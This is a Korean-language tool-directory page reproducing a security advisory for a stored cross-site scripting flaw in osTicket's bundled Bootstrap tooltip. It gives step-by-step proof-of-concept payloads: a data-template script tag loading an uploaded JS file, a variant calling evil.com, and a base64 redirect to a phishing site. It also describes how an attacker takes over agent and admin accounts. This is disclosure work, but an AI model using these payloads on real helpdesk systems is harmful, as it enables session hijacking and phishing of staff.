Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-36214 — osTicket에서 취약한 Bootstrap 툴팁 구성 요소를 통한 저장형 크로스 사이트 스크립팅 (XSS) | Kitploit
도구/GitHubGitHub/weswrench/cve-2026-36214
Phishing ToolsVulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityPenetration Testing
GitHubweswrench/cve-2026-36214

CVE-2026-36214

osTicket에서 취약한 Bootstrap 툴팁 구성 요소를 통한 저장형 크로스 사이트 스크립팅 (XSS)

저장소 보기
11개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-36214 - osTicket의 취약한 Bootstrap Tooltip 구성요소를 통한 저장형 교차 사이트 스크립팅 (XSS)

설명

Enhancesoft osTicket 버전 1.10부터 1.17.7, 1.18.0부터 1.18.3에는 취약한 Bootstrap Tooltip 3.3.4 구성요소(CVE-2019-8331)가 포함되어 있어 저장형 교차 사이트 스크립팅(XSS) 취약점이 발생합니다. 기본 osTicket 구성에서 티켓 제출자("사용자")는 사전 인증 없이 티켓을 제출할 수 있으며, 사용자 자체 등록도 기본적으로 활성화되어 있습니다. 원격 사용자는 htmlLawed HTML 정화 모듈을 통과함에도 불구하고, 이를 보는 모든 에이전트 또는 관리자의 브라우저에서 임의의 JavaScript가 실행되는 악성 티켓 메시지를 조작할 수 있습니다. 이 문제는 사용자가 업로드한 JavaScript 파일이 실행 가능한 JavaScript Content-Type(text/javascript)으로 제공되어 브라우저에서 활성 콘텐츠로 해석될 수 있다는 점으로 인해 더욱 심각해집니다. 인라인 페이로드는 Bootstrap Tooltip 3.3.4가 data-template 값을 jQuery 객체로 파싱하여 appendTo() 또는 insertAfter()를 통해 DOM에 삽입하는 방식에 의해 제한되지만, 외부 스크립트로 공격자 제어 코드를 실행하면 이러한 제한을 우회하여 취약점을 더 강력하게 악용할 수 있습니다.

영향을 받는 버전

  • 테스트 및 취약 확인 완료:

    • osTicket 1.18.2
    • osTicket 1.18.3
  • 영향을 받는 버전:

    • v1.10 - v1.17.8 (제외)
    • v1.18 - v1.18.4 (제외)

이 구성요소는 2015년 5월 13일부터 osTicket 코드베이스에 포함되어 있으며, 다음에서 확인할 수 있습니다:

  • 파일: scp/js/bootstrap-tooltip.js
  • 커밋: e5a28410ae7c238932eef07c2b3568da015a792c

이 커밋은 버전 1.10으로 거슬러 올라가는 osTicket 릴리스 태그와 연결되어 있으며, 취약한 Bootstrap Tooltip 구성요소가 여러 주요 버전에 걸쳐 광범위한 osTicket 릴리스에 포함되었음을 나타냅니다. 이러한 장기적 포함은 수년에 걸쳐 출시된 많은 osTicket 버전이 영향을 받을 가능성이 높음을 강력히 시사합니다.


1. 개요

osTicket은 널리 사용되는 오픈 소스 티켓팅 시스템으로, 최종 사용자가 풍부한 HTML 콘텐츠와 파일 첨부 파일을 티켓 생성 및 응답의 일부로 제출할 수 있도록 합니다.

osTicket은 세 가지 주요 사용자 범주를 정의합니다:

  • 관리자 (Admin)
    • 전체 관리 액세스 권한
    • 글로벌 구성, 사용자, 역할, 플러그인
  • 에이전트 (Agent)
    • 티켓에 대한 운영 액세스 권한
    • 티켓 보기, 응답, 전송, 종료 가능
  • 사용자 (Client / End User)
    • 클라이언트 포털에만 액세스 가능
    • 자신의 티켓 생성 및 보기 가능

사용자가 제출한 모든 HTML 콘텐츠는 나중에 에이전트 또는 관리자의 브라우저에서 렌더링될 수 있으므로 클라이언트 측 취약점이 특히 큰 영향을 미칩니다.


2. 개념 증명 (Proof of Concept)

먼저, 엔드 유저 계정으로 인증하여 티켓 생성 페이지로 이동합니다. 그런 다음 페이로드가 포함된 JavaScript 파일(예: test.js)을 생성합니다. 예를 들어:

root@kitploit:~
alert(123);

참고: 기본적으로 osTicket은 파일 유형 제한 없이 티켓 첨부 파일을 허용합니다.

JS 파일 업로드

그런 다음 "이슈 세부사항" 을 제공하지 않고 "티켓 생성" 을 클릭하여 티켓을 제출합니다.

애플리케이션이 "이슈 세부사항은 필수 입력 항목입니다" 오류와 함께 티켓 제출 양식으로 리디렉션됩니다. 이 페이지에서는 실제로 티켓을 제출하지 않고도 JavaScript 파일(test.js)의 다운로드 링크를 얻을 수 있습니다.

업로드된 JS 파일의 직접 링크 가져오기

업로드된 JS 파일의 Content-Type

이 링크를 획득한 후 티켓 제출 양식으로 돌아갑니다. HTML 편집기를 클릭하고 다음 페이로드를 붙여넣고, script 태그의 src 속성을 앞서 얻은 링크로 교체합니다.

root@kitploit:~
<input>
<div style="width:100%;height:100%;pOsition:fixed;tOp:0px;lEft:0px;z-Index:9999" data-toggle="tooltip" title="t" data-template="<script src='[LINK_HERE]'>"></div>
<input>

다음은 [LINK_HERE] 패턴을 앞서 얻은 링크로 교체한 전체 페이로드의 예시입니다:

root@kitploit:~
<input>
<div style="width:100%;height:100%;pOsition:fixed;tOp:0px;lEft:0px;z-Index:9999" data-toggle="tooltip" title="t" data-template="<script src='http://localhost:8080/file.php?key=rjfge-qlcmbwgnsfl8hhwktyhctre-_e&expires=1768780800&signature=5044f8201f041228de077a2e025e6fc118b31223'>"></div>
<input>

그런 다음 티켓을 제출합니다.

악성 페이로드 제출

관리자 또는 에이전트가 악성 티켓을 열람하면 페이로드가 트리거됩니다.

페이로드 트리거됨

결과: 관리자/에이전트가 악성 티켓을 열면 JavaScript 페이로드가 로드되어 관리자/에이전트 세션 컨텍스트에서 실행됩니다.

이는 저장형 XSS로 이어져 (예: ezXSS, CSRF를 통한 관리자/에이전트 작업 수행) 전체 세션을 손상시킬 수 있습니다.


3. 영향

에이전트 손상

악성 티켓이 에이전트에 의해 열람되면 저장형 XSS가 에이전트의 인증된 세션 컨텍스트에서 실행됩니다.

이로 인해 공격자는 (세션 쿠키 추출이 실용적이지 않고 ezXSS와 같은 블라인드 XSS 플랫폼이 사용되는 시나리오에서도) 세션 쿠키를 추출하지 않고도 에이전트 세션을 효과적으로 장악할 수 있습니다. XSS가 실행되면 공격자는 손상된 에이전트가 수행할 수 있는 모든 작업을 수행할 수 있습니다. 예를 들어:

  • 해당 에이전트가 액세스할 수 있는 티켓 조회 (종종 헬프데스크의 상당 부분 포함)
  • 티켓 첨부 파일 다운로드 및 검토
  • 티켓에 응답하고 사용자와 상호 작용
  • 티켓 전송, 종료 또는 상태 업데이트
  • 내부 메모 추가 (허용되는 경우)

이로 인해 에이전트의 운영 능력과 티켓팅 워크플로의 기밀성/무결성이 완전히 손상됩니다.

관리자 손상

악성 티켓이 관리자에 의해 열람되면 영향이 전체 애플리케이션 손상으로 확대됩니다. 공격자는 다음을 수행할 수 있습니다:

  • 관리자 세션 장악
  • 글로벌 구성 수정 (설정, 권한 등)
  • 중요 구성 값을 변경하여 서비스 거부 유발
  • 관리 "페이지"/템플릿 수정을 통한 전역적 디페이스 및 애플리케이션 UI에서의 피싱
  • 지속성을 위해 새 에이전트 및/또는 관리자 계정 생성

제한된 파일 업로드 및 콘텐츠 보안 정책에 관한 참고 사항

osTicket의 기본 구성은 JavaScript 파일 업로드를 허용하지만, 관리자 패널에서 최종 사용자가 JavaScript 파일을 업로드하지 못하도록 구성할 수 있습니다.

또한, 에이전트와 관리자가 사용하는 직원 제어판(Staff Control Panel)은 타사 도메인에서 시작된 JavaScript 실행을 차단하는 콘텐츠 보안 정책(CSP)을 시행합니다. 다음 페이로드를 예로 들어 보겠습니다:

root@kitploit:~
<input>
<div style="width:100%;height:100%;pOsition:fixed;tOp:0px;lEft:0px;z-Index:9999" data-toggle="tooltip" title="t" data-template="<script src='http://evil.com'></object>"></div>
<input>

아래 스크린샷은 https://evil.com에서 스크립트를 로드하는 것이 직원 제어판에서 시행되는 콘텐츠 보안 정책에 의해 차단된 것을 보여줍니다.

CSP에 의해 차단된 페이로드

그러나 애플리케이션에 구현된 콘텐츠 보안 정책은 인라인 JavaScript를 허용합니다.

에이전트/관리자 패널의 CSP

JavaScript 파일 업로드가 차단된 경우에도 공격자는 악성 작업을 수행할 수 있습니다. 다음 페이로드를 고려해 보겠습니다:

root@kitploit:~
<input>
<div style="width:100%;height:100%;pOsition:fixed;tOp:0px;lEft:0px;z-Index:9999" data-toggle="tooltip" title="t" data-template=""></div>
<input>

Base64 페이로드는 다음으로 디코딩됩니다:

root@kitploit:~
<script>top.location = "https://example.com";</script>

이 페이로드를 통해 공격자는 악성 티켓을 보는 에이전트 또는 관리자를 임의의 웹사이트 (예: 피싱 사이트)로 리디렉션할 수 있습니다.

위 페이로드가 포함된 티켓을 본 결과는 다음과 같습니다. 임의의 웹사이트로 리디렉션

도구 다운로드